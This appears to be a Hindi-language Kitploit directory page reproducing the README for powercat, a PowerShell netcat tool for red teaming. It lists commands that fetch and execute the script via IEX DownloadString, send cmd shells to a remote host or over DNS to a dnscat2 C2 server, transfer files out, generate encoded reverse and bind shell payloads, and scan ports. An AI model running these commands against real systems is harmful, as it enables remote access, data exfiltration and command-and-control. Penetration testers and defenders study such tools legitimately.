Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/besimorhino/powercat
पेलोड जनरेशनपोर्ट स्कैनिंगनेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगरिमोट एक्सेस टूलDNS विश्लेषण
GitHubbesimorhino/powercat

powercat

netshell की सभी विशेषताएँ version 2 powershell में

रिपॉजिटरी देखें
2.4k48532 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

powercat

Netcat: पावरशेल संस्करण। (पावरशेल संस्करण 2 और बाद के संस्करण समर्थित)

स्थापना

powercat एक पावरशेल फंक्शन है। पहले आपको इसे निष्पादित करने से पहले फंक्शन को लोड करना होगा। आप नीचे दिए गए कमांडों में से एक को अपने पावरशेल प्रोफाइल में डाल सकते हैं ताकि powercat पावरशेल शुरू होने पर स्वचालित रूप से लोड हो जाए।

root@kitploit:~
डाउनलोड की गई .ps1 फ़ाइल से फंक्शन लोड करें:
    . .\powercat.ps1
URL से फंक्शन लोड करें:
    IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

पैरामीटर:

root@kitploit:~
-l      एक कनेक्शन सुनें।                             [Switch]
-c      एक श्रोता से कनेक्ट करें।                               [String]
-p      कनेक्ट करने या सुनने के लिए पोर्ट।                [String]
-e      निष्पादित करें। (GAPING_SECURITY_HOLE)                      [String]
-ep     पावरशेल निष्पादित करें।                                  [Switch]
-r      रिले। प्रारूप: "-r tcp:10.1.1.1:443"                 [String]
-u      डेटा को UDP पर स्थानांतरित करें।                              [Switch]
-dns    डेटा को DNS (dnscat2) पर स्थानांतरित करें।                    [String]
-dnsft  DNS विफलता सीमा।                               [int32]
-t      टाइमआउट विकल्प। डिफ़ॉल्ट: 60                          [int32]
-i      इनपुट: फ़ाइलपथ (स्ट्रिंग), बाइट ऐरे, या स्ट्रिंग।     [object]
-o      कंसोल आउटपुट प्रकार: "Host", "Bytes", या "String"    [String]
-of     आउटपुट फ़ाइल पथ।                                    [String]
-d      कनेक्ट करने के बाद डिस्कनेक्ट करें।                         [Switch]
-rep    रिपीटर। डिस्कनेक्ट करने के बाद पुनरारंभ करें।               [Switch]
-g      पेलोड उत्पन्न करें।                                    [Switch]
-ge     एन्कोडेड पेलोड उत्पन्न करें।                            [Switch]
-h      सहायता संदेश प्रिंट करें।                              [Switch]

मूल कनेक्शन

डिफ़ॉल्ट रूप से, powercat कंसोल से इनपुट पढ़ता है और write-host का उपयोग करके इनपुट को कंसोल पर लिखता है। आप आउटपुट प्रकार को -o के साथ 'Bytes' या 'String' में बदल सकते हैं।

root@kitploit:~
मूल क्लाइंट:
    powercat -c 10.1.1.1 -p 443
मूल श्रोता:
    powercat -l -p 8000
मूल क्लाइंट, आउटपुट बाइट्स के रूप में:
    powercat -c 10.1.1.1 -p 443 -o Bytes

फ़ाइल स्थानांतरण

powercat का उपयोग -i (इनपुट) और -of (आउटपुट फ़ाइल) का उपयोग करके फ़ाइलों को आगे-पीछे स्थानांतरित करने के लिए किया जा सकता है।

root@kitploit:~
फ़ाइल भेजें:
    powercat -c 10.1.1.1 -p 443 -i C:\inputfile
फ़ाइल प्राप्त करें:
    powercat -l -p 8000 -of C:\inputfile

शेल

powercat का उपयोग शेल भेजने और प्रदान करने के लिए किया जा सकता है। -e के लिए एक निष्पादन योग्य निर्दिष्ट करें, या पावरशेल निष्पादित करने के लिए -ep का उपयोग करें।

root@kitploit:~
cmd शेल प्रदान करें:
    powercat -l -p 443 -e cmd
cmd शेल भेजें:
    powercat -c 10.1.1.1 -p 443 -e cmd
एक शेल प्रदान करें जो पावरशेल कमांड निष्पादित करता है:
    powercat -l -p 443 -ep

DNS और UDP

powercat TCP पर डेटा भेजने से अधिक का समर्थन करता है। UDP मोड सक्षम करने के लिए -u निर्दिष्ट करें। डेटा को -dns के साथ dnscat2 सर्वर पर भी भेजा जा सकता है। dnscat2 सर्वर चलाते समय "-e open --no-cache" जोड़ना सुनिश्चित करें।

root@kitploit:~
UDP पर डेटा भेजें:
    powercat -c 10.1.1.1 -p 8000 -u
    powercat -l -p 8000 -u
10.1.1.1 पर DNS सर्वर का उपयोग करके c2.example.com dnscat2 सर्वर से कनेक्ट करें:
    powercat -c 10.1.1.1 -p 53 -dns c2.example.com
विंडोज में डिफ़ॉल्ट DNS सर्वर का उपयोग करके c2.example.com dnscat2 सर्वर पर एक शेल भेजें:
    powercat -dns c2.example.com -e cmd

रिले

powercat में रिले पारंपरिक netcat रिले की तरह काम करते हैं, लेकिन आपको कोई फ़ाइल बनाने या दूसरी प्रक्रिया शुरू करने की आवश्यकता नहीं है। आप विभिन्न प्रोटोकॉल के कनेक्शनों के बीच भी डेटा रिले कर सकते हैं।

root@kitploit:~
TCP श्रोता से TCP क्लाइंट रिले:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP श्रोता से UDP क्लाइंट रिले:
    powercat -l -p 8000 -r udp:10.1.1.16:53
TCP श्रोता से DNS क्लाइंट रिले
    powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
विंडोज डिफ़ॉल्ट DNS सर्वर का उपयोग करके TCP श्रोता से DNS क्लाइंट रिले
    powercat -l -p 8000 -r dns:::c2.example.com
TCP क्लाइंट से क्लाइंट रिले
    powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP श्रोता से श्रोता रिले
    powercat -l -p 8000 -r tcp:9000

पेलोड उत्पन्न करें

विशिष्ट क्रिया करने वाले पेलोड -g (पेलोड उत्पन्न करें) और -ge (एन्कोडेड पेलोड उत्पन्न करें) का उपयोग करके उत्पन्न किए जा सकते हैं। एन्कोडेड पेलोड को powershell -E के साथ निष्पादित किया जा सकता है। यदि आप powercat का पूरा उपयोग नहीं करना चाहते हैं तो आप इनका उपयोग कर सकते हैं।

root@kitploit:~
10.1.1.15 पोर्ट 443 पर वापस कनेक्ट होने वाला रिवर्स tcp पेलोड उत्पन्न करें:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
पोर्ट 8000 पर सुनने वाला बाइंड tcp एन्कोडेड कमांड उत्पन्न करें:
    powercat -l -p 8000 -e cmd -ge

विविध उपयोग

powercat का उपयोग पोर्ट स्कैन करने और स्थायी सर्वर शुरू करने के लिए भी किया जा सकता है।

root@kitploit:~
बुनियादी TCP पोर्ट स्कैनर:
    (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
एक फ़ाइल प्रदान करने वाला स्थायी सर्वर शुरू करें:
    powercat -l -p 443 -i C:\inputfile -rep
टूल डाउनलोड करें